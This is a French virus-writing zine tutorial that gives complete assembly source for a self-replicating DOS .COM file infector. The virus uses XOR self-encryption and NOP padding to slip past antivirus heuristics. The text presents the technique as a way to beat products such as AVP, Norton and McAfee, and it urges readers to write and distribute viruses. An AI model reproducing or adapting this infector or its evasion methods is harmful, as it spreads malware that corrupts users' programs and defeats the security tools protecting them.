******************************************************************************
{{{{{{{{{{{{{{{{{{{{{{{{{{ CRYPTAGE DU VIRUS }}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
******************************************************************************
Ou comment passer plus inaperçu ?
Je m'excuse si cet article est très court, mais je l'écrit en speed après avoir lu mon Programmez
magazine. Dedans je vois un article sur AntiViral Toolkit, qui d'ailleurs est le meilleur anti
virus a ce jour. Il parle de la recherche heuristique dans un prog pour détecter l'infection.
Quelques lignes après je trouve que Av toolkit recherche les bits E80000, Or ces bits correspondent
au call de départ du virus pour déterminez bp qui sert ensuite a situer le virus dans un fichier
infecté. Me vint alors une idée (ça m'arrive), changez ce call.
Faire en sorte que le virus fasse un call plus long au dessus des nop (no operation = 90h)
et ensuite soustraire les nop rajoutés. Juste histoire de changez le E80000 par E8???? en sorte.
Voila donc le code source du debut du virus. Je vais pas vous rabacher tout le source, vous devez
le connaitre a force, héhé :
debut:
db 0e9h,0,0 ;on ecrie ça pour que le prog reconnaisse
;qu'il est deja infecte
;car sinon il va s'auto-infecter
virus:
call virus_start ;call pour pouvoir recuperer l'adresse
db 090h,090h,090h,090h ;4 nop pour tromper AV-Toolkit (pas de E80000)
virus_start:
pop bp ;qu'on recupere
lea cx,[virus_start-4] ;soustrait les 4 nops
sub bp,cx ;et on adapte a nos besoins
Voila tout simplement koi. Je crois qu'y a pas besoin de plus commenter...
Et voila comment on passe d'un "ALERTE" dans AVtoolkit, a un simple "SUSPECT",
c'est deja pas mal. Bon maintenant comme je suis sympa, on va aller un peu plus
loin. On va le crypter notre petit tueur.
Juste avant je vous demanderais, si vous l'avez de me passer la liste de tous les opcodes que
recherche AV toolkit. Ca serait vraiment cool ça.
Cryptage
********
Pour crypter on va utiliser un simple XOR. Cela correspond a un "ou exclusif".
Pour ceux qui savent pas ce que c'est regardez la table de vérité réalisée avec
les bits :
1 1 0 0
1 0 1 0
-------
0 1 1 0
On utilise cela car un simple XOR permet aussi de décrypter. Revenons au virus, il faudra
une partie, celle du début qui servira a décrypter. Il faut donc que cette partie soit
non-cryptée, logique.
Une autre partie sera non-cryptée, c'est celle qui possede la cle de decryptage et le
flag indiquant si le fichier porteur est crypté (pour que le prog de depart n'essaie
pas de se décrypter). Pour ce qui est de la routine de cryptage,je m'y prend de manière
bizarre mais plutot efficace alors... En fait je declare un buffer: cryptbuffer qui contiendra
a la fois la partie a crypter et la partie finale non-cryptée. Ensuite je ne crypte que
la partie qu'on veut crypter. Cela me permet de n'utiliser qu'une instruction d'ecriture
dans le fichier pour ecrire a la fois le code crypté et le non-crypté de fin.
Cependant attention ne declarez pas votre buffer avec des valeurs car votre virus deviendrait
bien plus gros. Un "?" suffira. Bon voila, je vais etre obligé de vous rebalancer le source
car des choses ont étés modifiés pour permettre l'encryption. Par exemple, le code étant devenu
volumineux, les jmps ne pouvaient plus atteindre leurs cibles d'ou message d'erreur de Tasm.
Pour y remedier on fait juste des "passerelles" avec des jmps. Une autre chose pour que vous compreniez
mieux : si on utilise pas de buffer pour l'encryption le virus commence a ce crypter, jusqu'a
arriver a la fonction de cryptage qui se corromp et conduit a un plantage dans les regles.
Bah voila quoi, j'ai l'impression de pas être franchement clair la... Le source devrait y remedier.
Second truc, la clé ne varie pas dans cet exemple. Essayez donc de le faire en fonction de l'heure
du pc, héhé.
Voila le source : (joint dans le zine)
CODE SEGMENT
ASSUME CS:CODE,DS:CODE
ORG 100H
debut:
db 0e9h,0,0 ;on ecrie ça pour que le prog reconnaisse
;qu'il est deja infecte
;car sinon il va s'auto-infecter
virus:
call virus_start ;call pour pouvoir recuperer l'adresse
db 090h,090h,090h,090h ;4 nop pour tromper AV-Toolkit pro (pas de E80000)
virus_start:
pop bp ;qu'on recupere
lea cx,[virus_start-4] ;soustrait les 4 nops
sub bp,cx ;et on adapte a nos besoins
;------------------------------------------------------------------------
cmp [bp+cryptverif],0 ;le fichier est crypte ?
je restaurebits ;oui ! on le decrypte ;non ! on saute
decrypt:
mov al, [bp+key] ;cle de cryptage/decryptage dans al
lea bx, [bp+restaurebits] ;bx pointe sur la partie cryptée
mov cx, (virus_end-restaurebits) ;taille du decryptage
boucle:
xor byte ptr [bx], al ;le XOR
inc bx ;bx = bx+1
loop boucle ;boucle tant que cx !=0
;------------------------------------------------------------------------
restaurebits:
mov cx,3 ;remet les 3 bits originaux
mov di,100h ;depart du com
lea si,[bp+buffer] ;endroit où on a copié les 3 bits
rep movsb ;on le fait tant que cx!=0
dta:
lea dx,[bp+mydta] ;adresse de mydta
mov ah,1ah ;Set DTA
int 21h ;
CHECK_DAY:
mov ah,2Ah ;Get Date
int 21h ;
cmp al,0 ;Dimanche ou pas ?
jne pasgreve ;si non, on fait pas la greve
;sinon on continue
;greve
lea dx,[bp+message] ;message !
push ax
mov ax,0900h
int 21h
pop ax
mov ah,4ch ;retour au dos
int 21h
pasgreve:
;findfirst
mov ah,4Eh ;
lea dx,[bp+fichiercom] ;findfirst
int 21h ;
OUVERTURE:
jc finbis ;si on trouve pas on quitte
mov ax,3D02h ;ouverture-du-fichier(le 02 indique lecture-ecriture)
lea dx,[bp+mydta+1eh] ;nom dans DTA_PLACE+1eh
int 21h
mov bx,ax ;handle en bx
CHECK_INFECTION: ;ça c'est du code barbare !
mov ah,3fh ;lecture du 1er bit
mov cx,1 ;on en lit 1
lea dx,[bp+verification] ;le bit dans verification
int 21h ;
cmp [bp+verification], 0e9h ;compare le 1er bit a 0e9h
jz FERMETUREBIS ;si = on cherche un autre
INFECTION:
mov ax, 4200h ;pointeur du fichier au debut
xor cx, cx ;
xor dx, dx ;
int 21h ;
mov ah,3fh ;lecture des premiers bits
mov cx,3 ;on en lit 3
lea dx,[bp+buffer] ;les 3 bits dans buffer
int 21h ;
mov ax, 4202h ;pointeur du fichier a la fin
xor cx, cx ;
xor dx, dx ;
int 21h ;
jmp codagedujmp
;relais-------------------
FERMETUREBIS:
jmp FERMETURE
finbis: ;relais pour le jmp de debut pointant vers la fin
jmp fin ;se soit pas "out of range"
OUVERTUREBIS: ;relais pour que le jmp a la fin
jmp OUVERTURE ;puisse se faire
;fin du relais-----------
codagedujmp:
sub ax,3
mov word ptr [bp+buffer2+1],ax ;codage du jump
;ecriture du jmp
mov ax, 4200h ;pointeur du fichier au debut
xor cx, cx ;
xor dx, dx ;
int 21h ;
mov ah, 40h ;écriture du jmp
mov cx, 3 ;on écrit 3 bits
lea dx,[bp+buffer2] ;pointe sur le jmp codé
int 21h ;
cryptage:
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
mov [bp+cryptverif],1 ;Flag indiquant que le fichier le virus sera crypté
lea si, [bp+restaurebits] ;transfere la partie du virus
lea di, [bp+cryptbuffer] ;a copier dans le buffer + les variables non cryptés
mov cx, virus_fin-restaurebits ;taille du transfert
rep movsb ;on transfere tant que cx!=0
crypt:
mov al, [bp+key] ;clé en al
lea si, [bp+cryptbuffer] ;si pointe sur le buffer de cryptage
mov cx, (virus_end-restaurebits) ;taille de seulement ce qu'il faut crypter
myboucle:
xor byte ptr [si], al ;le XOR
inc si ;incrémente
loop myboucle ;on boucle tant que cx!=0
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
;infusion
mov ax, 4202h ;pointeur du fichier a la fin
xor cx, cx ;
xor dx, dx ;
int 21h ;
mov ah,40h ;copie le debut du virus
mov cx, restaurebits-virus ;
lea dx, [bp+virus] ;
int 21h ;
mov ah,40h ;ecriture de la fin du virus
mov cx, virus_fin-restaurebits ;en partie cryptée
lea dx,[bp+cryptbuffer] ;
int 21h
FERMETURE:
mov ah,3Eh ;fermeture-du-fichier
int 21h
mov ah,4Fh ;findnext
int 21h ;si y en a pas on se casse
jmp OUVERTUREBIS ;si y en a on revient
fin:
;execution-du-prog-victime
fin_cherche:
mov dx,80h ;replacement de la dta
mov ah,1ah
int 21h
mov di,100h ;di pointe a 100h (depart des coms)
jmp di ;le virus passe la main au prog infecte
;============================================================================
variables:
buffer db 3 dup (?) ;buffer des 3 bits
fichiercom db '*.COM',0 ;cible: les coms
buffer2 db 0e9h,?,? ;buffer du jmp de depart
verification db ? ;sert pour tester si le fichier est deja infecté
message db 'Je suis votre ordinateur, il est dimanche je refuse donc
de travailler !','$'
TiPiaX db 'FloW V1.3 By PoSeiDoN (Fr)'
virus_end:
cryptverif db 0 ;teste si le fichier est crypté ou non
key db 23h ;clé de cryptage
virus_fin:
cryptbuffer db virus_fin-restaurebits dup (?) ; buffer pour cryptage
mydta db 42 dup (?) ;on le met la car on ne veut pas copier le contenu
;de la DTA
CODE ENDS
END debut
Tiens beh tant que j'y pense on place le cryptbuffer après "virus_fin" car on ne veut
pas que celui ci s'attache au fichier victime. En effet ça reviendrait a copier 2 fois
le virus a la fin du fichier.
Si vous avez des questions, mailez moi.
Ps: le milieu des virus est peu développé en france, donc faites progresser le milieu
en faisant des tuts meilleurs ou aussi pitoyables que les miens et distribuez tout !
Pour information, le virus ne fait que 397 octets, ce qui reste plutot acceptable.
merci de m'avoir lu! Et n'oubliez pas : rien ne vous empêche de faire un virus crypté
en RSA ou tout autre algo digne de faire chier la NSA. (en tout cas ça fera chier Norton,
McAfee AVP et bien d'autres)
TiPiaX/VDS